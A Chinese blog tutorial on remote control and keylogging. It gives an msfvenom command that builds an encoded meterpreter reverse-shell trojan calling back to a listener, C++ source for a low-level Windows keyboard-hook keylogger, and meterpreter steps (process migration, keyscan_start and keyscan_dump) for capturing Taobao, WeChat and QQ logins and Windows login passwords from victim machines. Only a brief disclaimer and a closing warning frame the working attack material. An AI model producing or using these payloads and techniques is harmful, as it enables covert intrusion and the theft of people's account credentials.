欢迎光临散文网 会员登陆 & 注册

远程控制-键盘记录

2020-07-06 23:40 作者:无情剑客Burning  | 我要投稿

声明:本篇内容禁止用作非法目的,谢绝一切形式的转载

当你在登陆电脑的时候,当你在登陆淘宝的时候,当你在登陆微信的时候,你的输入可能正在被记录,然后电脑的登陆密码、微信帐号密码、淘宝的帐号密码就这样在不知不觉中泄漏了。 

木马生成

生成木马的命令如下,本文基于的是win7 32位系统,64位的可参考这里

  1. sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.42.49 lport=8888 -e x86/shikata_ga_nai -i 5 -f exe -o win32_burning.exe

开启监听

具体含义可参见这里

一个简单的键盘记录器

使用低级键盘钩子来hook键盘消息。 核心代码如下:

  1. // keyboardhook.cpp : Defines the entry point for the console application.

  2. //


  3. #include "stdafx.h"

  4. #include<iostream>

  5. #include<windows.h>

  6. using namespace std;


  7. HHOOK g_Hook;

  8. LRESULT CALLBACK LowLevelKeyboardProc(INT nCode, WPARAM wParam, LPARAM lParam)

  9. {

  10.    KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;

  11.    BOOL bControlKeyDown = 0;


  12. switch (nCode)

  13. {

  14. case HC_ACTION:

  15. {

  16. // Check to see if the CTRL key is pressed

  17.            bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);

  18. //Check   to see if the  Cap  is   pressed

  19.            BOOL bCap = GetAsyncKeyState(VK_CAPITAL) >> ((sizeof(SHORT) * 8) - 1);

  20. //Disable CTRL+ESC

  21. if (pkbhs->vkCode == VK_ESCAPE && bControlKeyDown)

  22. return 1;

  23. if(wParam == WM_KEYUP)

  24.                printf("%c", pkbhs->vkCode);


  25. break;

  26. }

  27. }

  28. //Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.

  29. return CallNextHookEx(g_Hook, nCode, wParam, lParam); //回调

  30. //return 1;

  31. }



  32. int _tmain(int argc, _TCHAR* argv[])

  33. {

  34.    MSG msg;

  35. //Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

  36.    g_Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD_LL,

  37. (HOOKPROC)LowLevelKeyboardProc, GetModuleHandleW(0),0);

  38. while(GetMessageW(&msg,0,0,0))DispatchMessageW(&msg);

  39. return 0;

  40. }

meterpreter获取键盘输入

三个关键命令

keyscanstart开启键盘监听后,再用keyscandump进行记录的导出,如果不想监听了才keyscanstop。而不是先keyscanstop再keyscan_dump。

获取淘宝帐号密码

淘宝网的登陆页面如下:

在前面的介绍中,已经获得了meterpreter。如果能知道"肉鸡"端用户的输入,密码自然就轻易获得了。那怎样能获得用户的键盘输入那?

绑定进程

获取到meterpreter之后直接开启键盘监听是无法获取到上图中的键盘的输入的,因为进程空间是不对的,所以,首先需要选择正确的进程。通过ps命令可以查看肉鸡的所有进程。

其中的explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。因此对于windows中图形界面相关的输入内容都可以通过migrate(迁移)到这个进程中实现键盘记录。迁移进程使用 migrate pid号

开启键盘记录

  1. 开启键盘监听 keyscan_start

  2. 导出记录 keyscan_dump。如下所示,帐号和密码都被dump出来了。 

  1. 关闭监听 keyscan_stop

微信,qq等帐号密码的获取方式基本相同。

获取电脑的帐号密码

如果此时你的输入被记录下来,那密码自然也就没什么秘密了。

这个进程和explore.exe进程不同,需要的是上面列出的winlogon.exe。winlogon.exe是Windows NT 用户登陆程序,用于管理用户登录和退出。该进程的正常路径应是C:\Windows\System32,且是以 SYSTEM 用户运行。

绑定进程

  1. migrate 进程pid

开启键盘记录

  1. 开启键盘监听 keyscan_start

  2. 导出记录 keyscan_dump。密码被dump出来了。注意:这个在切换用户的时候是不能获取到键盘的输入的。当锁定账户时是可用的,多数用来获得管理员密码。 

  1. 关闭监听 keyscan_dump

写在最后

不名来历的连接不要点击,更不要运行。同时希望相应的厂商能再增加一下安全措施,让这种键盘记录不能生效。

又是一年高考时,2020年的高考来的稍晚一些。天公作美,诸事大吉。把蒲松龄自勉的一句话送给考生:有志者,事竟成,破釜沉舟,百二秦关终属楚;苦心人,天不负,卧薪尝胆,三千越甲可吞吴。

公众号

更多网络安全内容,欢迎关注我的公众号:无情剑客。



远程控制-键盘记录的评论 (共 条)

分享到微博请遵守国家法律